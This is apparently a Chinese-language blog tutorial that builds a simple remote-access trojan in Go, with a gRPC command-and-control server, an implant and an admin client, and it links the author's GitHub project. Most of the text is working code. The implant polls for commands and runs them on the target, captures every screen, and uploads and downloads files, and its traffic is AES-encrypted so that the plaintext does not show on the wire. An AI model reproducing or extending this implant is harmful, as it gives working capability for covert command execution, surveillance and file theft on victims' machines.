基於gRPC編寫golang簡單C2遠控

2022-07-27 06:03:44

概述

專案地址 https://github.com/newbe3three/gotoexec

構建一個簡單的遠控木馬需要編寫三個獨立的部分:植入程式、伺服器端程式和管理程式。

植入程式是執行在目標機器上的遠控木馬的一部分。植入程式會定期輪詢伺服器以查詢新的命令,然後將命令輸出發回給伺服器。

管理程式是執行在使用者機器上的使用者端,用於發出實際的命令。

伺服器端則負責與植入程式和使用者端的互動,接收使用者端的指令,並在植入程式請求時,將命令傳送給植入程式,隨後將植入程式傳送來的結果傳遞給使用者端。

gRPC

這裡通過gRPC構建所有的網路互動。

關於gRPC、Protobuf、protoc請參考https://www.zhihu.com/question/286825709

gRPC是由google建立的一個高效能遠端過程呼叫(RPC)框架。RPC框架允許使用者端通過標準和定義的協定與伺服器進行通訊,而不必瞭解底層的任何細節。gRPC基於HTTP/2執行,以一種高效的二進位制結構傳遞訊息。gRPC預設的序列方式是Protobuf。

定義和構造gRPC API

這裡使用Protobufs來定義API

Service

在proto檔案中定義了兩個service,分別對應植入程式伺服器端和管理程式伺服器端。

在植入程式服務中,定義了三個方法FetchCommandSendOutputGetSleepTime

FetchCommand:將從伺服器檢索所有為執行的命令

SendOutput:會將一個Command訊息傳送伺服器

GetSleepTime:從伺服器端檢索sleep時間間隔

在管理程式服務中,定義的兩個方法RunCommandSetSleepTime

RunCommand:接收一個Command訊息作為引數,並期望獲讀回一個Command訊息

SetSleepTime:向伺服器傳送一個SleepTime訊息作為時間間隔

Message

最後看到定義的三個message CommandSleepTimeEmpty

Command:訊息中的兩個引數分別代表了輸入的命令和命令對應的結果。都為string型別,要說明的是後面兩個數位是代表了訊息本身兩個欄位出現的偏移量,也就是In將首先出現,然後是Out。

SleepTime:唯一 一個欄位就是用來標明休眠時間間隔的

Empty:用來代替null的空訊息 定義這個Empty型別是由於gRPC不顯式地允許空值

syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
  rpc FetchCommand (Empty) returns (Command);
  rpc SendOutput (Command) returns (Empty);
  rpc GetSleepTime(Empty) returns (SleepTime);
}

service Admin {
  rpc RunCommand (Command) returns (Command);
  rpc SetSleepTime(SleepTime) returns (Empty);
}

//Command訊息包含兩個欄位,一個用於維護作業系統的命令;一個用於維護命令執行的輸出
message Command {
  string In = 1;
  string Out = 2;
}
message SleepTime {
  int32 time = 1;
}

//Empty 用來代替null的空訊息 定義這個Empty型別是由於gRPC不顯式地允許空值
message Empty {
}
編譯proto檔案

對於Golang使用如下命令編譯.proto檔案。會根據你的.proto檔案生成Go檔案。

這個生成的新檔案回包含Protobuf模式中建立的服務和訊息的結構和結構體定義。後續將利用它構造伺服器端、植入程式和使用者端。

protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto

實現

建立伺服器端

首先,建立兩個結構體adminServerimplantServer,它們都包含兩個Command通道,用於傳送和接收命令以及命令的輸出。這兩個結構體會實現gRPC API中定義的伺服器端介面。並且需要為這兩個結構體定義輔助函數NewAdminServerNewImplantServer,用於建立新的範例,可以確保通道正確的初始化。

type implantServer struct {
	work, output chan *grpcapi.Command
}

type adminServer struct {
	work, output chan *grpcapi.Command
}

func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
	s := new(implantServer)
	s.work = work
	s.output = output
	return  s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
	s := new(adminServer)
	s.work = work
	s.output = output
	return  s
}

implantServer

對於植入程式伺服器端,需要實現的方法有FetchCommand()SendOutput()GetSleepTime()

FetchCommand:植入程式將呼叫方法FetchCommand作為一種輪詢機制,它會詢問「有工作給我嗎?」。在程式碼中,將根據select語句,當work通道中有資料時會從中讀取資料到範例化的Command中,並返回。如果沒有讀取到資料,就會返回一個空的Command。

func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
	var cmd = new(grpcapi.Command)
	select {
	case cmd, ok := <-s.work:
		if ok {
			return cmd, nil
		}
		return cmd, errors.New("channel closed")
	default:
		return cmd, nil
	}
}

SendOutput:將接收一個Command,其中包含了從植入程式中獲取的命令執行的結果。並將這個Command推播到output通道中,以便管理程式的後續讀取。

func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
	s.output <- result
	fmt.Println("result:" + result.In + result.Out)
	return &grpcapi.Empty{}, nil
}

*GetSleepTime:植入程式在每次sleep之前就會呼叫此方法,向伺服器端詢問sleep的時間。這個方法將返回從變數sleepTIme中讀取到的資料。

func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
	time := new(grpcapi.SleepTime)
	time.Time = sleepTime
	return time,nil
}

adminServer

對於管理程式伺服器端,需要實現的方法有RunCommandSetSleepTime

RunCommand:該方法接收一個尚未傳送到植入程式的Command,它表示管理程式希望在植入程式上執行的工作。並將工作傳送給work通道。因為使用無緩衝的通道,該操作將會阻塞程式的執行,但同時又需要從output通道中接收資料,因此使用goroutine將工作放入work通道中。

呼叫這個方法時,會將命令傳送給伺服器端,並等待植入程式執行完後的傳送回的結果。

func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error)  {
	fmt.Println(cmd.In)
	var res *grpcapi.Command
	go func() {
		s.work <- cmd
	}()

	res = <- s.output

	return res, nil
}

SetSleepTime:管理程式使用者端呼叫此方法,將從命令列輸入的時間傳送給伺服器端後,設定到sleepTIme變數中

func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
	sleepTime = time.Time
	return &grpcapi.Empty{}, nil
}

main函數部分

main函數首先使用相同的work和output通道範例化implantServer和adminServer。通過相同的通道範例,可以是管理程式伺服器端和植入程式伺服器端通過此共用通道進行通訊。

接下來,為每個服務啟動網路監聽器,將implantListener繫結到1961埠,將adminListener繫結到1962埠。最後建立兩個gRPC伺服器。

func main()  {
	var (
		implantListener, adminListener net.Listener
		err 					   error
		opts					   []grpc.ServerOption
		work, output			   chan *grpcapi.Command
	)
	work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
	//植入程式伺服器端和管理程式伺服器端使用相同的通道
	implant := NewImplantServer(work, output)
	admin := NewAdminServer(work, output)
	//伺服器端建立監聽,植入伺服器端與管理伺服器端監聽的埠分別是1961和1962
	if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
		log.Fatalln("implantserver"+err.Error())
	}
	if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
		log.Fatalln("adminserver"+err.Error())
	}
    //伺服器端設定允許傳送和接收資料的最大限制
	opts = []grpc.ServerOption{
		grpc.MaxRecvMsgSize(1024*1024*12),
		grpc.MaxSendMsgSize(1024*1024*12),
	}
		grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)

	grpcapi.RegisterImplantServer(grpcImplantServer, implant)
	grpcapi.RegisterAdminServer(grpcAdminServer, admin)
	//使用goroutine啟動植入程式伺服器端,防止程式碼阻塞,畢竟後面還要開啟管理程式伺服器端
	go func() {
		grpcImplantServer.Serve(implantListener)
	}()
	grpcAdminServer.Serve(adminListener)
}

建立植入程式和管理程式

植入程式

	// WithInsecure 忽略證書
	opts = append(opts, grpc.WithInsecure())
	//設定傳送和接收資料的最大限制
	opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
	opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
	//連線到指定伺服器的指定埠
	if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
		log.Fatal(err)
	}
	defer conn.Close()
	client = grpcapi.NewImplantClient(conn)

	ctx := context.Background()
	//使用for迴圈來輪詢伺服器
	for {
		var req = new(grpcapi.Empty)
		cmd, err := client.FetchCommand(ctx, req)
		if err != nil {
			log.Fatal(err)
		}
		 //如果沒有要執行的命令就進入sleep
		if cmd.In == "" {
			//sleep之前向伺服器詢問sleep的時間
			t,_ := client.GetSleepTime(ctx,req)
			fmt.Println("sleep"+t.String())
			time.Sleep(time.Duration(t.Time)* time.Second)
			continue
		}
		//從伺服器端獲取到命令後先進行解密處理
		command, _ := util.DecryptByAes(cmd.In)
        //根據空格擷取命令
        tokens := strings.Split(string(command), " ")
    .......
    }

管理程式

	//	設定命令列引數
	flag.IntVar(&sleepTime,"sleep",0,"sleep time")
	flag.StringVar(&session,"session","","start session")
	flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
	flag.StringVar(&port,"port","1961","Server IP")
	flag.Parse()
	
	if session != "" {
     	//輸入session引數,並且引數值為start,開執行命令
		if session == "start" {
             // WithInsecure 忽略證書
            opts = append(opts, grpc.WithInsecure())
            //設定傳送和接收資料的最大限制
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
            opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
            //連線到指定伺服器的指定埠
            if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
            err != nil {
                log.Fatal(err)
            }
            defer conn.Close()
            client = grpcapi.NewAdminClient(conn)
			fmt.Println("start exec:")
            //通過for迴圈來不斷向控制檯輸入命令
			for {
				var cmd = new(grpcapi.Command)
				//go中scan、scanf、scanln在輸入時都會將空格作為一個字串的結束,因此不能使用這些來鍵入我們的命令
                //獲取使用者輸入的命令
				reader := bufio.NewReader(os.Stdin)
				command, _, err := reader.ReadLine()
				if nil != err {
					fmt.Println("reader.ReadLine() error:", err)
				}
                //根據空格擷取輸入的命令,以進行後續的判斷
                flags := strings.Split(string(command)," ")
            ......
      	} else {
			fmt.Println("please input start")
		}
	}
sleep時間

自定義回連時間:也就是允許自定義植入程式輪詢伺服器的時間間隔。

植入程式這裡輪詢時間間隔是通過sleep函數實現的,而實現自定義這個功能則是植入程式在sleep之前會向伺服器端詢問sleep的時間。

 //如果沒有要執行的命令就進入sleep
if cmd.In == "" {
//sleep之前向伺服器詢問sleep的時間
	t,_ := client.GetSleepTime(ctx,req)
	fmt.Println("sleep"+t.String())
	time.Sleep(time.Duration(t.Time)* time.Second)
	continue
}

管理程式使用者端可以通過命令列引數sleep來設定休眠時間,單位為秒。

	//根據命令列鍵入sleep引數的值進行設定sleep時間,如果沒有鍵入sleep引數預設為0
	if sleepTime != 0 {
		var time = new(grpcapi.SleepTime)
		time.Time = int32(sleepTime)
		ctx := context.Background()
		client.SetSleepTime(ctx,time)
	}
截圖

截圖功能實現

截圖功能借助於 github.com/kbinani/screenshot 實現

植入端獲取到截圖命令後,會先獲取當前螢幕的數量,並根據順序進行截圖,並將圖片存放到[]byte位元組切片中,進行加密編碼後發出。

	//輸入的命令為screenshot 就進入下面的流程
		if tokens[0] == "screenshot" {
			images := util.Screenshot()
			for _,image := range images {
				result,_ := util.EncryptByAes(util.ImageToByte(image))
				cmd.Out += result
				cmd.Out += ";"
			}
			client.SendOutput(ctx, cmd)
			continue
		}
//util.Screenshot() 截圖
func Screenshot() []*image.RGBA {
	var images []*image.RGBA
	//獲取當前活動螢幕數量
	i := screenshot.NumActiveDisplays()
	if i == 0 {

	}
	for j :=0; j <= i-1; j++ {
		image,_ := screenshot.CaptureDisplay(j)
		images = append(images, image)
	}
	return images
}
//util.ImageToByte() 圖片轉位元組切片
func ImageToByte(image *image.RGBA) []byte{
	buf := new(bytes.Buffer)
	png.Encode(buf,image)
	b := buf.Bytes()
	return b
}
上傳檔案

上傳檔案,要求輸入的格式為 upload 本地檔案 目標檔案

管理程式會根據輸入的本地檔案,將本地檔案讀取到[]byte位元組切片當中,並進行AES加密和BASE64編碼。也就是說最終向伺服器端傳遞的資料將變成經過加密、編碼後的字串。這裡會將這個字串存放在Command.Out中。這裡可能遊戲額難以理解,command.Out不是用來存放執行結果的嗎?其實在伺服器端中,會將管理程式使用者端的命令放到work中,然後將植入程式執行完以後會才會將結果封裝在command.Out,而在這之前command.Out是空的。這裡上傳檔案實際上是在管理程式使用者端時「借用」command.Out的位置,將要上傳的資料與上傳命令一起傳送給植入程式。

這裡根據前面提到的,設定最大上傳資料為12MB,但要注意的上傳檔案會經過aes加密與base64編碼,因此12MB指經過加密後的資料大小,實際上允許上傳的資料要小於12MB。下載同理。

if flags[0] == "upload" {
	if len(flags) != 3 || flags[2] == "" {
		fmt.Println("輸入格式為:upload 本地檔案 目標檔案")
		continue
	}
	file, err := os.ReadFile(flags[1])
	if err != nil {
		fmt.Println(err.Error())
		continue
	}
    //將資料存放在Command.Out中
	cmd.Out,err = util.EncryptByAes(file)
	if err != nil {
		log.Fatal(err.Error())
	}
	cmd = Run(cmd,command,client)
	out,err := util.DecryptByAes(cmd.Out)
	if err != nil {
		log.Fatal(err.Error())
	}
	fmt.Println(string(out))
	continue
}

植入端程式將根據cmd.in中輸入的命令判斷是否為上傳指令。判斷為上傳指令後,將會對cmd.out中儲存的字串資料進行解密後寫入到使用者指定的目標檔案當中。

//匹配上傳命令
if tokens[0] == "upload" {
	file,_ := util.DecryptByAes(cmd.Out)
	err := os.WriteFile(tokens[2],file,0666)
	if err != nil{
		cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
		client.SendOutput(ctx, cmd)
	} else {
		cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
		client.SendOutput(ctx, cmd)
	}

	continue
}
下載檔案

下載檔案, 要求輸入的格式為download 目標檔案 本地檔案

使用者端將下載命令傳送給伺服器端。使用者端會從cmd.out中讀取到資料後解密,並根據使用者輸入的本地檔案寫入檔案。

if flags[0] == "download" {
	if len(flags) != 3 || flags[2] == "" {
		fmt.Println("輸入格式為:download 目標檔案 本地檔案")
		continue
	}
    //傳送命令
	cmd = Run(cmd,command,client)
	file, err := util.DecryptByAes(cmd.Out)
	if err != nil {
		log.Fatal(err.Error())
	}
	if string(file[0:13]) == "download err!" {
		fmt.Println(string(file[0:13]))
		continue
	}
	err = os.WriteFile(flags[2],file,0666)
	if err != nil {
		fmt.Println(err.Error())
	}else {
		fmt.Println("download success! Path:" + flags[2])
	}
	continue
}

當植入程式詢問到該命令之後,會將使用者輸入的目標檔案讀取到[]byte位元組切片當中,與上傳檔案類似地,進行加密編碼以字串形式存放到cmd.Out中經伺服器端傳送給使用者端。

//匹配下載命令
if tokens[0] == "download" {
	file,err := os.ReadFile(tokens[1])
	if err != nil {
		cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
		client.SendOutput(ctx, cmd)
	}else {
		cmd.Out,_ = util.EncryptByAes(file)
		_,err2 := client.SendOutput(ctx, cmd)
		if err2 != nil {
			fmt.Println(err2.Error())
		}
	}

	continue
}

編碼問題

go的編碼是UTF-8,而CMD的活動頁是GBK編碼的,因此使用GoLang進行命令執行時,對於命令執行結果返回的中文會產生亂碼的現象。

雖然在植入程式中會執行命令,但是在通過植入程式再向伺服器端傳送結果時由於包含亂碼,植入程式向伺服器端傳送的資料為空。(因此伺服器端就沒有接收這個資料),result中沒有資料,所以植入程式的伺服器端在向output輸入資料時會阻塞。由於管理伺服器端和植入程式伺服器端共用通道,output中沒有資料,進而引發管理伺服器端也阻塞(直到output中有資料)。

中文亂碼問題的解決依賴於golang.org/x/text/encoding/simplifiedchinese

當然在解決掉亂碼問題後,這一問題也就消失了。

type Charset string

const (
	UTF8 = Charset("UTF-8")
	GB18030 = Charset("GB18030")
)

func ConvertByte2String(byte []byte, charset Charset) string {

	var str string
	switch charset {
	case GB18030:
		decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
		str = string(decodeBytes)
	case UTF8:
		fallthrough
	default:
		str = string(byte)
	}

	return str
}

流量加密

對於所有的C2程式都應該加密其網路流量,這對於植入程式和伺服器之間的通訊尤為重要。通過擷取流量,可以看到植入程式和伺服器端的資料是明文的。對於解決這個問題,可以提供得是兩種選擇,一是對我們傳輸得資料進行加密如互斥或、AES加密,在傳輸過程中使用密文傳遞;二是使用TLS技術。

如下為未加密前流量

當前使用AES+BAES64編碼來進行加密

aes加密和base64編碼參考:https://blog.csdn.net/dodod2012/article/details/117706402

管理程式使用者端獲取到使用者從命令列鍵入的命令,將對這個命令進行base64+aes加密,再傳送給伺服器端。伺服器端接收到這個訊息後,直接將訊息寫入通道中。

待植入程式客請求伺服器端時,就會讀取到這段密文,進行解密後執行命令,並將執行的結果進行加密傳送給伺服器端。最終管理程式會從結果通道中讀取到執行的結果,解密後並進行編碼格式的轉變,輸出到控制檯。這相比於明文傳輸就安全多了。如下為加密後的流量